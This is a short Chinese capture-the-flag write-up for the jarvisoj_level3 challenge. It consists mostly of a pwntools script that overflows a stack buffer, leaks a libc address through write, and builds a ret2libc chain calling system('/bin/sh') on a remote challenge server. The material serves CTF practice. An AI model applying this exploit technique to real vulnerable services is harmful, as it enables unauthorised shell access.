jarvisoj_level3

一、查保护

二、代码审计

三、过程

传统rop

四、脚本

from pwn import *
from LibcSearcher import *

#context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)

#io = process('./level3')
io=remote('node3.buuoj.cn',29961)
elf=ELF('./level3')

#gdb.attach(io)

payload='a'*0x88+"b"*4+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
sl(payload)
ru("Input:\n")
write=u32(io.recv(4))
print(hex(write))
libc=LibcSearcher('write',write)
base=write-libc.dump('write')
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')
payload='a'*0x88+"b"*4+p32(system)+p32(0x10086110)+p32(binsh)
sl(payload)

io.interactive()